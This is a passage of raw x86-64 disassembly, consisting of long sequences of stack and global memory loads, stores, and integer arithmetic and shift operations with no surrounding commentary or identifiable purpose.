mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c40]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5398]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6d60]
mov eax, dword [rax]
mov dword [rsp + 0x2e80], eax
mov rax, qword [rsp + 0x6588]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5e90]
mov qword [rsp + 0x72c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x72c8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x5c30], rax
mov rax, qword [rsp + 0x5690]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14017a1c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7130]
movzx eax, byte [rax]
mov byte [rsp + 0x17d], al
movzx eax, word [rsp + 0xb88]
mov rcx, qword [rsp + 0x51c8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb18], ax
mov rax, qword [rsp + 0x66e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf6]
xor eax, ecx
mov rcx, qword [rsp + 0x6068]
mov byte [rcx], al
lea rax, [0x140178ea2]
mov qword [rsp + 0x72d0], rax
mov rax, qword [rsp + 0x5fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29c4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6060]
mov dword [rcx], eax
lea rax, [rsp + 0x6440]
mov qword [rsp + 0x72d8], rax
mov rax, qword [rsp + 0x53a0]
mov ecx, dword [0x140178e8c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b00], eax
mov rax, qword [rsp + 0x6b80]
mov rcx, qword [rsp + 0x54a0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4e88], rax
lea rax, [rsp + 0xb30]
mov qword [0x14017a570], rax
mov rax, qword [rsp + 0x5068]
movzx eax, word [rax]
mov word [rsp + 0xcc0], ax
movzx eax, word [rsp + 0x8c0]
mov rcx, qword [rsp + 0x4fb0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4fe0]
mov word [rcx], ax
movzx eax, word [rsp + 0xa88]
mov word [rsp + 0xcc4], ax
movzx eax, byte [rsp + 0x17d]
mov rcx, qword [rsp + 0x5468]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x12c], al
mov rax, qword [rsp + 0x6f38]
mov rcx, qword [rsp + 0x6e20]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x58c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x52a8]
mov rax, qword [rax]
mov qword [rsp + 0x72e0], rax
mov rax, qword [rsp + 0x57a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c0c], eax
mov rax, qword [rsp + 0x6820]
mov eax, dword [rax]
mov dword [rsp + 0x2e84], eax
mov rax, qword [rsp + 0x53c8]
movzx eax, byte [rax]
mov byte [0x14017a145], al
movsx eax, word [rsp + 0xa24]
movsx ecx, word [rsp + 0xc64]
and eax, ecx
mov rcx, qword [rsp + 0x66b0]
mov word [rcx], ax
mov rax, qword [0x14017a070]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
sub eax, ecx
mov rcx, qword [rsp + 0x52d0]
mov byte [rcx], al
lea rax, [rsp + 0xb14]
mov qword [rsp + 0x72e8], rax
mov rax, qword [rsp + 0x6fe8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x121]
shl eax, cl
mov byte [rsp + 0x6c], al
mov rax, qword [rsp + 0x6730]
mov qword [rsp + 0x72f0], rax
mov rax, qword [rsp + 0x5de0]
mov rcx, qword [rsp + 0x72b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2a40], eax
lea rax, [rsp + 0x2e48]
mov qword [rsp + 0x72f8], rax
mov rax, qword [rsp + 0x6010]
movzx ecx, al
mov rax, qword [0x14017a058]
sar rax, cl
mov rcx, qword [rsp + 0x6c00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6850]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xac8]
xor eax, ecx
mov word [0x140178f00], ax
mov rax, qword [rsp + 0x54d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5300]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc94], ax
lea rax, [rsp + 0x13a]
mov qword [rsp + 0x7300], rax
movzx eax, byte [rsp + 0x177]
movzx ecx, byte [rsp + 0xc7]
and eax, ecx
mov rcx, qword [rsp + 0x6970]
mov byte [rcx], al
mov rax, qword [rsp + 0x6460]
movzx eax, byte [rax]
mov byte [rsp + 0x17e], al
mov rax, qword [rsp + 0x59f8]
mov rcx, qword [rsp + 0x6060]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c38], eax
mov rax, qword [rsp + 0x5580]
mov rcx, qword [rsp + 0x6690]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b94], eax
mov rax, qword [rsp + 0x68d0]
mov qword [rsp + 0x7308], rax
mov rax, qword [rsp + 0x6fa8]
mov rcx, qword [rsp + 0x5a50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6730], rax
mov rax, qword [rsp + 0x5128]
movzx eax, byte [rax]
mov byte [rsp + 0x17f], al
movsx eax, byte [rsp + 0xda]
movsx ecx, byte [rsp + 0x14f]
sub eax, ecx
mov byte [0x140178ea7], al
mov rax, qword [rsp + 0x5300]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c50]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5a08]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ad8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcb0]
sub eax, ecx
mov rcx, qword [rsp + 0x5918]
mov word [rcx], ax
movzx eax, word [0x14017a228]
mov word [rsp + 0xcc8], ax
mov rax, qword [rsp + 0x4fc0]
mov rcx, qword [rsp + 0x6580]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5080]
mov qword [rcx], rax
mov rax, qword [rsp + 0x52e0]
mov eax, dword [rax]
mov dword [rsp + 0x2e88], eax
mov rax, qword [rsp + 0x4f50]
mov rcx, qword [rsp + 0x6060]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2af0], eax
lea rax, [rsp + 0x4f00]
mov qword [rsp + 0x7310], rax
mov rax, qword [rsp + 0x62f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7098]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x176], al
movzx eax, byte [rsp + 0xb6]
mov rcx, qword [rsp + 0x7300]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x140178ede], al
mov rax, qword [rsp + 0x6f28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x59c8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5538]
mov word [rcx], ax
lea rax, [rsp + 0xc34]
mov qword [rsp + 0x7318], rax
mov rax, qword [0x14017a2e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x70d0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xb4], al
mov rax, qword [rsp + 0x7198]
mov rax, qword [rax]
mov qword [rsp + 0x7320], rax
mov rax, qword [rsp + 0x61a8]
mov rcx, qword [rsp + 0x6348]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a88], eax
mov rax, qword [rsp + 0x64f0]
mov eax, dword [rax]
mov ecx, dword [0x140178e8c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6238]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6b50]
mov rax, qword [rax]
mov qword [rsp + 0x7328], rax
movsx eax, byte [rsp + 0x167]
movsx ecx, byte [rsp + 0xca]
and eax, ecx
mov rcx, qword [rsp + 0x5c08]
mov byte [rcx], al
mov rax, qword [0x14017a088]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14c]
add eax, ecx
mov byte [0x140178ecb], al
movzx eax, word [rsp + 0xc34]
mov word [rsp + 0xccc], ax
movzx eax, word [rsp + 0x964]
movzx ecx, word [rsp + 0x9a4]
sub eax, ecx
mov rcx, qword [rsp + 0x7058]
mov word [rcx], ax
mov rax, qword [0x14017a410]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6c88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd8], al
mov rax, qword [rsp + 0x7038]
mov eax, dword [rax]
mov dword [rsp + 0x2e8c], eax
mov rax, qword [rsp + 0x6c80]
mov rcx, qword [rsp + 0x5788]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x71d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5ab0]
mov qword [rsp + 0x7330], rax
mov eax, dword [rsp + 0x2de8]
mov ecx, dword [rsp + 0x2c34]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6640]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x66]
mov rcx, qword [rsp + 0x71c8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6888]
mov byte [rcx], al
lea rax, [rsp + 0xeb]
mov qword [0x14017a578], rax
lea rax, [rsp + 0xbd0]
mov qword [rsp + 0x7338], rax
movzx eax, word [rsp + 0xb5c]
movzx ecx, word [rsp + 0xa60]
add eax, ecx
mov word [rsp + 0x984], ax
lea rax, [0x140178f44]
mov qword [rsp + 0x7340], rax
mov rax, qword [rsp + 0x5208]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x98c]
add eax, ecx
mov word [rsp + 0xc68], ax
lea rax, [rsp + 0x2c54]
mov qword [rsp + 0x7348], rax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c68]
mov qword [rsp + 0x7350], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7350]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5588], rax
mov rax, qword [rsp + 0x6768]
mov rcx, qword [rsp + 0x6810]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2d18], eax
mov rax, qword [rsp + 0x6c00]
mov rax, qword [rax]
mov qword [rsp + 0x7358], rax
movzx eax, word [rsp + 0xb04]
mov rcx, qword [rsp + 0x5980]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14017a3b0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x121]
mov rcx, qword [rsp + 0x7098]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x174], al
lea rax, [rsp + 0x114]
mov qword [rsp + 0x7360], rax
movsx eax, byte [rsp + 0x113]
movsx ecx, byte [rsp + 0x10d]
and eax, ecx
mov rcx, qword [rsp + 0x66f8]
mov byte [rcx], al
movsx eax, word [rsp + 0x8dc]
movsx ecx, word [rsp + 0xbd8]
sub eax, ecx
mov word [rsp + 0x9e8], ax
lea rax, [rsp + 0x2cd4]
mov qword [rsp + 0x7368], rax
mov rax, qword [rsp + 0x6598]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5110]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x69f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2aac]
mov dword [rsp + 0x2e90], eax
mov rax, qword [rsp + 0x5b08]
mov rcx, qword [rsp + 0x6078]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6638], rax
movzx eax, word [rsp + 0xa7c]
mov rcx, qword [rsp + 0x5378]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178f70], ax
mov rax, qword [rsp + 0x5e00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5378]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x990], ax
lea rax, [rsp + 0x94c]
mov qword [rsp + 0x7370], rax
mov rax, qword [0x14017a1a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6970]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13c], al
movzx eax, byte [rsp + 0x85]
mov byte [rsp + 0x180], al
mov rax, qword [rsp + 0x5b78]
mov rcx, qword [rsp + 0x60e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5de0]
mov ecx, dword [rsp + 0x2a68]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6e50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5bc0]
mov rax, qword [rax]
mov qword [rsp + 0x7378], rax
mov eax, dword [0x14017a060]
mov ecx, dword [rsp + 0x2c30]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d1c], eax
lea rax, [rsp + 0xbec]
mov qword [0x14017a580], rax
movzx eax, word [rsp + 0xb40]
mov word [rsp + 0xcd0], ax
mov rax, qword [rsp + 0x62b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6c88]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xd1], al
mov rax, qword [rsp + 0x6688]
movzx eax, byte [rax]
mov byte [rsp + 0x181], al
mov rax, qword [rsp + 0x4ff0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x81]
shl eax, cl
mov byte [rsp + 0x5c], al
mov rax, qword [rsp + 0x65c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x64f0]
mov qword [rsp + 0x7380], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7380]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2e44], eax
mov rax, qword [rsp + 0x5290]
mov eax, dword [rax]
mov dword [rsp + 0x2e94], eax
mov rax, qword [rsp + 0x5480]
mov rcx, qword [rsp + 0x6548]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5bd0], rax
lea rax, [rsp + 0x56e8]
mov qword [rsp + 0x7388], rax
movzx eax, word [0x140178ee4]
movzx ecx, word [rsp + 0x964]
add eax, ecx
mov rcx, qword [0x14017a3a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6f58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5928]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x53a8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xb4]
movzx ecx, byte [rsp + 0x90]
add eax, ecx
mov rcx, qword [rsp + 0x6fb0]
mov byte [rcx], al
movzx eax, word [rsp + 0x874]
mov word [rsp + 0xcd4], ax
mov rax, qword [rsp + 0x5538]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4cd8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x910], ax
lea rax, [rsp + 0x2e54]
mov qword [rsp + 0x7390], rax
mov rax, qword [rsp + 0x6228]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x69b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d78], rax
mov rax, qword [rsp + 0x4f80]
mov rcx, qword [rsp + 0x6730]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5510]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2bd8]
mov dword [rsp + 0x2e98], eax
movsx eax, word [0x140178ec0]
movsx ecx, word [rsp + 0x9e0]
sub eax, ecx
mov rcx, qword [0x14017a1f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5870]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5608]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x106], al
mov rax, qword [0x14017a1b0]
movzx eax, byte [rax]
mov byte [rsp + 0x182], al
mov rax, qword [rsp + 0x51e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6778]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbe4], ax
mov rax, qword [rsp + 0x4fb8]
movzx eax, word [rax]
mov word [rsp + 0xcd8], ax
mov rax, qword [rsp + 0x6598]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x70c0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x59d8], rax
mov rax, qword [rsp + 0x60a0]
movzx ecx, al
mov rax, qword [rsp + 0x6758]
shr rax, cl
mov rcx, qword [rsp + 0x6520]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c3c]
mov dword [rsp + 0x2e9c], eax
mov eax, dword [rsp + 0x2bb0]
movzx ecx, al
mov eax, dword [rsp + 0x2d84]
shl eax, cl
mov dword [rsp + 0x2da4], eax
mov rax, qword [rsp + 0x5fa8]
movzx eax, byte [rax]
mov byte [0x14017a146], al
movzx eax, word [rsp + 0x9b4]
mov word [rsp + 0xcdc], ax
mov rax, qword [rsp + 0x68f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x66f8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x65], al
movsx eax, byte [rsp + 0x6a]
mov rcx, qword [rsp + 0x7200]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x14d], al
lea rax, [rsp + 0xc00]
mov qword [rsp + 0x7398], rax
mov rax, qword [rsp + 0x5930]
mov rcx, qword [rsp + 0x5138]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x70e8], rax
mov rax, qword [rsp + 0x5fe0]
mov eax, dword [rax]
mov dword [rsp + 0x2ea0], eax
mov rax, qword [rsp + 0x6d08]
mov rcx, qword [rsp + 0x7010]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5720], rax
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x67b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b30], eax
movzx eax, word [rsp + 0xa14]
mov rcx, qword [rsp + 0x7278]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140178f68], ax
mov rax, qword [rsp + 0x5568]
movzx eax, byte [rax]
mov byte [rsp + 0x183], al
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [0x14017a178]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x57a8]
mov byte [rcx], al
movzx eax, word [rsp + 0xabc]
mov word [rsp + 0xce0], ax
movzx eax, byte [rsp + 0x83]
movzx ecx, byte [rsp + 0xf8]
and eax, ecx
mov rcx, qword [rsp + 0x6208]
mov byte [rcx], al
mov rax, qword [rsp + 0x7010]
mov rcx, qword [0x140178e60]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ea0], rax
lea rax, [rsp + 0x55d0]
mov qword [rsp + 0x73a0], rax
mov rax, qword [rsp + 0x5618]
mov rcx, qword [rsp + 0x6bd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6140]
mov dword [rcx], eax
lea rax, [rsp + 0x2c90]
mov qword [rsp + 0x73a8], rax
movzx eax, word [0x14017a200]
movzx ecx, word [rsp + 0x9ec]
sub eax, ecx
mov word [rsp + 0xca4], ax
movzx eax, byte [rsp + 0x77]
movzx ecx, byte [rsp + 0x150]
sar eax, cl
mov byte [0x140178edf], al
lea rax, [rsp + 0xe2]
mov qword [rsp + 0x73b0], rax
mov rax, qword [rsp + 0x6a90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
shl eax, cl
mov rcx, qword [rsp + 0x6320]
mov word [rcx], ax
mov rax, qword [rsp + 0x57a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x179]
or eax, ecx
mov byte [rsp + 0xbb], al
lea rax, [0x140178e78]
mov qword [rsp + 0x73b8], rax
mov rax, qword [rsp + 0x6e28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c7c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5df0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6330]
mov rax, qword [rax]
mov qword [rsp + 0x73c0], rax
mov rax, qword [rsp + 0x5a48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2de4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5b58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x57c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5fa0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfd], al
movsx eax, word [rsp + 0xc30]
mov rcx, qword [rsp + 0x6188]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140178f74], ax
lea rax, [0x14017a0e5]
mov qword [rsp + 0x73c8], rax
mov rax, qword [rsp + 0x5dc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x120]
add eax, ecx
mov byte [rsp + 0xe8], al
movzx eax, word [rsp + 0xad0]
mov word [rsp + 0xce4], ax
mov rax, qword [rsp + 0x67c0]
mov rax, qword [rax]
mov rcx, qword [0x14017a058]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
mov eax, dword [rsp + 0x2c08]
mov ecx, dword [rsp + 0x2e48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cdc], eax
mov rax, qword [rsp + 0x60b8]
mov rax, qword [rax]
mov qword [rsp + 0x73d0], rax
mov rax, qword [rsp + 0x5310]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e3c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5ad0]
mov dword [rcx], eax
lea rax, [rsp + 0x8fc]
mov qword [rsp + 0x73d8], rax
movzx eax, byte [rsp + 0x150]
mov rcx, qword [rsp + 0x5040]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017a110]
mov byte [rcx], al
movsx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0x52d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6be8]
mov byte [rcx], al
lea rax, [rsp + 0xbec]
mov qword [rsp + 0x73e0], rax
movzx eax, word [rsp + 0xbb4]
movzx ecx, word [rsp + 0xaa4]
shl eax, cl
mov word [rsp + 0xcac], ax
mov rax, qword [rsp + 0x5018]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5388]
mov qword [rsp + 0x73e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x73e8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x29e4], eax
lea rax, [rsp + 0x71a0]
mov qword [rsp + 0x73f0], rax
mov rax, qword [rsp + 0x7088]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6738]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6730], rax
lea rax, [rsp + 0x2d50]
mov qword [rsp + 0x73f8], rax
mov rax, qword [rsp + 0x7210]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb00]
xor eax, ecx
mov word [rsp + 0xbf4], ax
movzx eax, word [rsp + 0x990]
mov rcx, qword [rsp + 0x5538]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a260], ax
mov rax, qword [rsp + 0x6430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x52c0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x71f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe2]
mov byte [rsp + 0x184], al
mov rax, qword [rsp + 0x5898]
movzx eax, byte [rax]
movzx ecx, byte [0x14017a0cd]
sub eax, ecx
mov byte [rsp + 0x73], al
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x7400], rax
mov rax, qword [rsp + 0x5050]
mov rcx, qword [rsp + 0x5410]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6468]
mov qword [rcx], rax
mov rax, qword [rsp + 0x51c0]
mov rcx, qword [rsp + 0x6ac8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5c90], rax
lea rax, [rsp + 0x2d90]
mov qword [rsp + 0x7408], rax
mov rax, qword [rsp + 0x61a8]
mov rcx, qword [rsp + 0x6060]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29c4], eax
mov rax, qword [0x14017a448]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6b28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [reloc.SHELL32.dll_SHChangeNotifyRegister], al
mov rax, qword [rsp + 0x6fc8]
movzx eax, word [rax]
mov word [rsp + 0xce8], ax
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5538]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4fe0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5870]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5bb8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x14a], al
movzx eax, word [rsp + 0xc10]
mov word [rsp + 0xcec], ax
mov rax, qword [rsp + 0x6e28]
mov ecx, dword [rsp + 0x2e94]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2bc8], eax
lea rax, [rsp + 0x66c8]
mov qword [rsp + 0x7410], rax
mov rax, qword [rsp + 0x56a0]
mov rcx, qword [rsp + 0x5d88]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5518]
mov qword [rcx], rax
lea rax, [rsp + 0x2df0]
mov qword [rsp + 0x7418], rax
mov rax, qword [rsp + 0x6dc8]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a0ce]
sar eax, cl
mov rcx, qword [0x14017a220]
mov byte [rcx], al
movsx eax, word [rsp + 0xaf8]
movsx ecx, word [rsp + 0x900]
shl eax, cl
mov rcx, qword [rsp + 0x6350]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c28]
movzx eax, word [rax]
movzx ecx, word [0x14017a0e0]
xor eax, ecx
mov word [rsp + 0xb18], ax
movzx eax, byte [rsp + 0x10d]
mov byte [rsp + 0x185], al
movzx eax, word [rsp + 0x8cc]
mov rcx, qword [rsp + 0x5d10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa3c], ax
mov rax, qword [rsp + 0x5890]
mov qword [rsp + 0x7420], rax
mov rax, qword [rsp + 0x72b0]
mov rcx, qword [rsp + 0x6768]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5790]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a58]
mov rcx, qword [rsp + 0x50c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5470]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6468]
mov rax, qword [rax]
mov qword [rsp + 0x7428], rax
lea rax, [0x14017a0ca]
mov qword [0x14017a588], rax
mov rax, qword [rsp + 0x5780]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x890]
sub eax, ecx
mov rcx, qword [rsp + 0x61a0]
mov word [rcx], ax
lea rax, [rsp + 0x114]
mov qword [rsp + 0x7430], rax
movzx eax, byte [rsp + 0x10b]
movzx ecx, byte [rsp + 0x99]
sub eax, ecx
mov rcx, qword [rsp + 0x6f88]
mov byte [rcx], al
movsx eax, word [rsp + 0xc00]
movsx ecx, word [rsp + 0xac4]
add eax, ecx
mov rcx, qword [rsp + 0x65e8]
mov word [rcx], ax
lea rax, [rsp + 0x2dbc]
mov qword [rsp + 0x7438], rax
mov eax, dword [0x14017a060]
mov ecx, dword [rsp + 0x2de8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x58c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6f38]
mov qword [rsp + 0x7440], rax
mov rax, qword [rsp + 0x68a0]
mov rcx, qword [rsp + 0x7180]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x57f0], rax
mov rax, qword [rsp + 0x53c8]
movzx eax, byte [rax]
mov byte [0x14017a147], al
movsx eax, word [rsp + 0xce4]
movsx ecx, word [rsp + 0x938]
sub eax, ecx
mov rcx, qword [rsp + 0x53d8]
mov word [rcx], ax
lea rax, [rsp + 0x63]
mov qword [rsp + 0x7448], rax
movzx eax, word [rsp + 0xc4c]
movzx ecx, word [0x140178f1c]
add eax, ecx
mov rcx, qword [rsp + 0x7058]
mov word [rcx], ax
lea rax, [rsp + 0xafc]
mov qword [rsp + 0x7450], rax
mov eax, dword [rsp + 0x2e18]
mov ecx, dword [rsp + 0x2b88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c78], eax
mov rax, qword [rsp + 0x6c58]
mov rax, qword [rax]
mov qword [rsp + 0x7458], rax
mov eax, dword [rsp + 0x2cb4]
mov ecx, dword [rsp + 0x2df0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bcc], eax
mov rax, qword [rsp + 0x5080]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5878]
sar rax, cl
mov qword [rsp + 0x6698], rax
movzx eax, byte [rsp + 0x9a]
mov rcx, qword [0x14017a1c0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14017a520]
mov byte [rcx], al
movzx eax, byte [rsp + 0x94]
mov byte [rsp + 0x186], al
movzx eax, word [rsp + 0xb10]
movzx ecx, word [rsp + 0x97c]
shl eax, cl
mov rcx, qword [rsp + 0x4e70]
mov word [rcx], ax
lea rax, [rsp + 0xa58]
mov qword [rsp + 0x7460], rax
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x5040]
